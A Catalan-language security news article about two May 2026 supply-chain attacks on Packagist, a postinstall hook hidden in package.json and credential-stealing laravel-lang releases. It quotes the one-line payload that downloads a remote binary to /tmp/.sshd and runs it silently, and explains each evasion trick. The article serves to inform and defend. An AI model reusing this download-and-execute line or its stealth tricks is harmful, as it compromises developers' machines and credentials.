A finals de maig de 2026 dues campanyes diferents van colpejar el repositori de paquets PHP Packagist gairebé al mateix temps. El que crida l’atenció és on s’amagava el codi maliciós: en cap dels dos casos era a composer.json, el lloc on un desenvolupador de PHP miraria primer.
El truc del package.json
La primera campanya va afectar vuit paquets de Packagist. Entre ells hi havia projectes populars com devdojo/wave, un starter kit SaaS per a Laravel amb més de 6.400 estrelles a GitHub, i devdojo/genesis, amb unes 9.100 instal·lacions registrades a Packagist. La llista completa que va documentar Socket també incloïa moritz-sauer-13/silverstripe-cms-theme, crosiersource/crosierlib-base, katanaui/katana, elitedevsquad/sidecar-laravel, r2luna/brain i baskarcm/tzi-chat-ui.
Són paquets PHP, però l’atacant no va tocar la part de Composer. Va inserir un hook postinstall al package.json que aquests projectes arrosseguen al costat del codi PHP perquè porten eines de build en JavaScript. El payload era una sola línia:
curl -skL https://github.com/.../releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &
Cada detall està pensat per passar desapercebut. El flag -k de curl desactiva la verificació TLS, 2>/dev/null silencia qualsevol error, el binari es descarrega des d’una URL de GitHub Releases i es desa com a /tmp/.sshd per fer veure que és un procés de sistema legítim. Després se li dona permís d’execució i es llança en segon pla. Qui fes npm install en un projecte que depengués d’un d’aquests paquets a la seva branca de desenvolupament acabava executant un binari remot a la seva màquina Linux sense adonar-se’n.
El risc és més alt amb wave i genesis perquè el seu package.json maliciós aterra a l’arrel del projecte, just on npm install dispara el postinstall.
El segon front: laravel-lang
En paral·lel, els dies 22 i 23 de maig un altre atacant va republicar centenars de versions (al voltant de 700, segons Snyk) de quatre llibreries de localització del namespace laravel-lang, reutilitzant etiquetes de release històriques. Aquí el mètode va ser diferent: un fitxer helpers.php enganxat a l’entrada autoload.files de Composer, de manera que el codi s’executava a cada petició PHP tot just instal·lar el paquet. L’objectiu era robar credencials dels desenvolupadors.
L’accés a aquests repositoris va venir d’un Personal Access Token de GitHub filtrat, presumptament procedent d’una bretxa recent a GitHub. No va caldre trencar res: n’hi va haver prou amb un token que no hauria d’haver estat exposat.
A qui afecta i què fer
El dany es concentra en equips que segueixen branques de desenvolupament (dev-main, dev-master, 3.x-dev) en lloc de versions fixades, perquè allà el contingut canvia a mesura que evoluciona l’upstream. Si has instal·lat algun dels paquets esmentats des d’una branca de desenvolupament al maig de 2026, convé assumir compromís.
Els passos raonables: revisar si existeix un /tmp/.sshd a les màquines afectades i matar el procés, inspeccionar els package.json que vénen dins de dependències a més dels composer.json, rotar qualsevol credencial o token que pogués estar a l’entorn de l’IDE o del CI, i fixar versions concretes en lloc de seguir branques vives. Packagist va retirar els paquets maliciosos i va revocar els accessos compromesos. Si gestiones dependències PHP en producció, aquest episodi recorda per què convé saber què fa cada gestor de paquets que fas servir i bloquejar les versions.